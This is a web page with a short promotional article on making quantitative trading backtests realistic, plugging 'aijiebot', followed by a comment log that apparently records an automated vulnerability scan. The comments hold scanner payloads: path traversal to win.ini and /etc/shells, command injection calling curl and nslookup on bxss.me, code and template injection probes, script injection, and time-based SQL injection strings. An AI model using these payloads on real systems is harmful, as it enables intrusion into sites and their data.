How to make quantitative trading backtesting to be close to real trading?

Quantitative trading backtesting is a crucial step in the development of quantitative trading strategies, where historical trading data is simulated to evaluate the effectiveness and feasibility of the strategies. However, there are often discrepancies between backtesting results and actual trading. aijiebot, a free backtesting software, provides backtesting functions for quantitative trading strategies, using 1-minute data from the OKX exchange, resulting in outcomes that are close to real-time trading. When conducting quantitative trading backtesting, the following aspects need to be taken into consideration:

Firstly, transaction fees are a non-negligible cost in quantitative trading. During backtesting, it is imperative to accurately simulate the transaction fee settings in real trading, as overlooking this may lead to overly optimistic backtesting results. The level of transaction fees directly impacts the profitability and risk control capabilities of the strategy, thus it must be considered during backtesting.

Secondly, slippage is also a crucial factor that requires attention in quantitative trading backtesting. Slippage refers to the difference between the actual transaction price and the expected transaction price, which may occur due to insufficient market liquidity, volatile price movements, or other reasons. In backtesting, the impact of slippage on strategy performance should be fully considered, and measures should be taken to control slippage accordingly.

Thirdly, the liquidity of trading instruments is also an important factor that affects backtesting results. Trading instruments with poor liquidity may make it difficult for strategies to execute transactions in actual trading, thereby affecting the execution efficiency and profitability of the strategies. Therefore, during backtesting, it is recommended to select trading instruments with good liquidity to ensure the feasibility of the strategies in actual trading.

Lastly, the authenticity of exchange data is also a factor that must be considered in backtesting. If the data provided by the exchange contains errors or omissions, it may lead to distorted backtesting results. Therefore, before backtesting, it is necessary to carefully verify the data provided by the exchange to ensure its accuracy and completeness.

In summary, quantitative trading backtesting requires attention to transaction fees, slippage, the liquidity of trading instruments, and the authenticity of exchange data. Only by fully considering these factors can accurate and reliable backtesting results be obtained, providing strong support for actual trading. Furthermore, the use of backtesting software such as aijiebot, which provides free backtesting functions for trading strategies, can greatly enhance the efficiency and accuracy of backtesting. Other popular backtesting software includes tradestation backtesting, which is also widely used for backtesting trading strategies.



  admin   2024-5-2

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nqhXncMU2024-7-3 8:55:44
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nqhXncMU2024-7-3 8:55:55
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nqhXncMU2024-7-3 8:56:04
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nqhXncMU2024-7-3 8:56:16
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nqhXncMU2024-7-3 8:57:32
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nqhXncMU2024-7-3 8:57:43
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nqhXncMU2024-7-3 8:57:53
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nqhXncMU2024-7-3 8:58:28
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ohkzmLfN2024-9-7 16:46:17
/../../../../../../../../../../windows/system32/BITSADMIN.exe
ohkzmLfN2024-9-7 16:46:17
response.write(9808771*9652946)
ohkzmLfN2024-9-7 16:46:21
'+response.write(9808771*9652946)+'
ohkzmLfN2024-9-7 16:46:23
"+response.write(9808771*9652946)+"
ohkzmLfN2024-9-7 16:46:24
1Dz7zBiZ02O
ohkzmLfN2024-9-7 16:46:28
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ohkzmLfN2024-9-7 16:46:32
to@example.com> bcc:009247.1541-46334.1541.c3218.19973.2@bxss.me
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ohkzmLfN2024-9-7 16:46:35
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ohkzmLfN2024-9-7 16:46:39
../../../../../../../../../../../../../../windows/win.ini
ohkzmLfN2024-9-7 16:46:40
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ohkzmLfN2024-9-7 16:46:41
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ohkzmLfN2024-9-7 16:46:43
&echo ybbknn$()\ ynixrj\nz^xyu||a #' &echo ybbknn$()\ ynixrj\nz^xyu||a #|" &echo ybbknn$()\ ynixrj\nz^xyu||a #
ohkzmLfN2024-9-7 16:46:43
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ohkzmLfN2024-9-7 16:46:44
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ohkzmLfN2024-9-7 16:46:45
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ohkzmLfN2024-9-7 16:46:47
../
ohkzmLfN2024-9-7 16:46:47
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ohkzmLfN2024-9-7 16:46:49
"+"A".concat(70-3).concat(22*4).concat(101).concat(90).concat(106).concat(89)+(require"socket" Socket.gethostbyname("hitts"+"jmludofa0d0fb.bxss.me.")[3].to_s)+"
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ohkzmLfN2024-9-7 16:46:50
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ohkzmLfN2024-9-7 16:46:50
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ohkzmLfN2024-9-7 16:46:53
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ohkzmLfN2024-9-7 16:46:53
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ohkzmLfN2024-9-7 16:46:53
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ohkzmLfN2024-9-7 16:46:54
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ohkzmLfN2024-9-7 16:46:55
Http://bxss.me/t/fit.txt
ohkzmLfN2024-9-7 16:46:55
HttP://bxss.me/t/xss.html?%00
ohkzmLfN2024-9-7 16:46:56
";print(md5(31337));$a="
ohkzmLfN2024-9-7 16:46:57
^(#$!@#$)(()))******
ohkzmLfN2024-9-7 16:46:57
&nslookup -q=cname hitplflwrrklea64d0.bxss.me&'\"`0&nslookup -q=cname hitplflwrrklea64d0.bxss.me&`'
ohkzmLfN2024-9-7 16:46:57
http://bxss.me/t/fit.txt?.jpg
ohkzmLfN2024-9-7 16:46:58
${@print(md5(31337))}
ohkzmLfN2024-9-7 16:47:00
366
ohkzmLfN2024-9-7 16:47:01
bxss.me/t/xss.html?%00
ohkzmLfN2024-9-7 16:47:01
${@print(md5(31337))}\
ohkzmLfN2024-9-7 16:47:01
/etc/shells
ohkzmLfN2024-9-7 16:47:02
&(nslookup -q=cname hitdxmlkfybum786e7.bxss.me||curl hitdxmlkfybum786e7.bxss.me)&'\"`0&(nslookup -q=cname hitdxmlkfybum786e7.bxss.me||curl hitdxmlkfybum786e7.bxss.me)&`'
ohkzmLfN2024-9-7 16:47:03
366
ohkzmLfN2024-9-7 16:47:05
c:/windows/win.ini
ohkzmLfN2024-9-7 16:47:05
|(nslookup -q=cname hitlrcokyyfgkaa1ee.bxss.me||curl hitlrcokyyfgkaa1ee.bxss.me)
ohkzmLfN2024-9-7 16:47:06
'.print(md5(31337)).'
ohkzmLfN2024-9-7 16:47:06
366/.
ohkzmLfN2024-9-7 16:47:08
xfs.bxss.me
ohkzmLfN2024-9-7 16:47:08
`(nslookup -q=cname hityvmphsrgbub81b4.bxss.me||curl hityvmphsrgbub81b4.bxss.me)`
ohkzmLfN2024-9-7 16:47:11
bxss.me
ohkzmLfN2024-9-7 16:47:11
'"()
ohkzmLfN2024-9-7 16:47:13
911426
ohkzmLfN2024-9-7 16:47:13
'&&sleep(27*1000)*krardk&&'
ohkzmLfN2024-9-7 16:47:14
9963273
ohkzmLfN2024-9-7 16:47:16
http://xfs.bxss.me?aijiebot.com
ohkzmLfN2024-9-7 16:47:16
bfg4641<s1﹥s2ʺs3ʹhjl4641
ohkzmLfN2024-9-7 16:47:17
"&&sleep(27*1000)*cuojiv&&"
ohkzmLfN2024-9-7 16:47:18
xfs.bxss.me?aijiebot.com
ohkzmLfN2024-9-7 16:47:19
bfgx3421��z1��z2a�bcxhjl3421
ohkzmLfN2024-9-7 16:47:21
//xfs.bxss.me?aijiebot.com
ohkzmLfN2024-9-7 16:47:22
'||sleep(27*1000)*alityk||'
ohkzmLfN2024-9-7 16:47:24
/\xfs.bxss.me?aijiebot.com
ohkzmLfN2024-9-7 16:47:24
<%={{={@{#{${dfb}}%>
ohkzmLfN2024-9-7 16:47:28
"||sleep(27*1000)*nkkvsd||"
ohkzmLfN2024-9-7 16:47:31
dfb{{98991*97996}}xca
ohkzmLfN2024-9-7 16:47:35
dfb{{98991*97996}}xca
ohkzmLfN2024-9-7 16:47:39
dfb{98991*97996}xca
ohkzmLfN2024-9-7 16:47:43
dfb${98991*97996}xca
ohkzmLfN2024-9-7 16:47:46
dfb#{98991*97996}xca
ohkzmLfN2024-9-7 16:47:50
dfb{#98991*97996}xca
ohkzmLfN2024-9-7 16:47:54
dfb{@98991*97996}xca
ohkzmLfN2024-9-7 16:47:59
dfb{{=98991*97996}}xca
ohkzmLfN2024-9-7 16:48:08
dfb@(98991*97996)xca
ohkzmLfN2024-9-7 16:48:13
dfb<%=98991*97996%>xca
ohkzmLfN2024-9-7 16:48:18
dfb#set($x=98991*97996)${x}xca
ohkzmLfN2024-9-7 16:48:22
dfb{{"abc"|title}}xca
ohkzmLfN2024-9-7 16:48:29
print("dfb" . 98991*97996 . "xca");
ohkzmLfN2024-9-7 16:48:31
98991*97996*98991*97996
ohkzmLfN2024-9-7 16:48:38
dfb{@math key=98991 method="multiply" operand=97996/}xca
ohkzmLfN2024-9-7 16:48:43
dfb{{{this}}}xca
ohkzmLfN2024-9-7 16:48:46
#{98991*97996*98991*97996}
ohkzmLfN2024-9-7 16:48:49
dfb#{xca}=123
ohkzmLfN2024-9-7 16:48:55
dfb{{'abcd'.toUpperCase()}}xca
ohkzmLfN2024-9-7 16:49:00
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
ohkzmLfN2024-9-7 16:49:06
dfb{{98991*97996}}xca
ohkzmLfN2024-9-7 16:49:12
dfb[[${98991*97996}]]xca
ohkzmLfN2024-9-7 16:49:15
dfb__${98991*97996}__::.x
ohkzmLfN2024-9-7 16:49:19
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
ohkzmLfN2024-9-7 16:49:49
%0D%0A%3C%53%63%52%69%50%74%20%3E%6B%4A%32%36%289723%29%3C%2F%73%43%72%69%70%54%3E
ohkzmLfN2024-9-7 16:49:54
\u003CScRiPt\kJ26(9110)\u003C/sCripT\u003E
ohkzmLfN2024-9-7 16:49:58
&lt;ScRiPt&gt;kJ26(9856)&lt;/sCripT&gt;
ohkzmLfN2024-9-7 16:50:17
}body{zzz:Expre/**/SSion(kJ26(9918))}
ohkzmLfN2024-9-7 16:52:38
xi0ZQKS4
ohkzmLfN2024-9-7 16:52:48
-1 OR 2+191-191-1=0+0+0+1
ohkzmLfN2024-9-7 16:52:52
-1 OR 3+191-191-1=0+0+0+1
ohkzmLfN2024-9-7 16:52:55
-1 OR 3*2<(0+5+191-191)
ohkzmLfN2024-9-7 16:52:58
-1 OR 3*2>(0+5+191-191)
ohkzmLfN2024-9-7 16:53:32
if(now()=sysdate(),sleep(15),0)
ohkzmLfN2024-9-7 16:53:50
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ohkzmLfN2024-9-7 16:54:09
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ohkzmLfN2024-9-7 16:54:30
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ohkzmLfN2024-9-7 16:54:51
-1; waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:55:18
-1); waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:55:44
-1)); waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:56:03
1 waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:56:29
gHGZswQ8'; waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:56:51
ddFV80I3'); waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:57:47
kTEqoXJd')); waitfor delay '0:0:15' --
ohkzmLfN2024-9-7 16:59:29
-5 OR 190=(SELECT 190 FROM PG_SLEEP(15))--
ohkzmLfN2024-9-7 17:00:03
-5) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
ohkzmLfN2024-9-7 17:00:29
-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--
ohkzmLfN2024-9-7 17:01:08
ODHfi08L' OR 134=(SELECT 134 FROM PG_SLEEP(15))--
ohkzmLfN2024-9-7 17:01:42
6tmQ4BUD') OR 620=(SELECT 620 FROM PG_SLEEP(15))--
ohkzmLfN2024-9-7 17:02:27
WTZYFeUX')) OR 329=(SELECT 329 FROM PG_SLEEP(15))--
ohkzmLfN2024-9-7 17:03:09
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ohkzmLfN2024-9-7 17:03:34
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ohkzmLfN2024-9-7 17:03:39
1'"
ohkzmLfN2024-9-7 17:03:46
1����%2527%2522
ohkzmLfN2024-9-7 17:03:50
@@YJCRM
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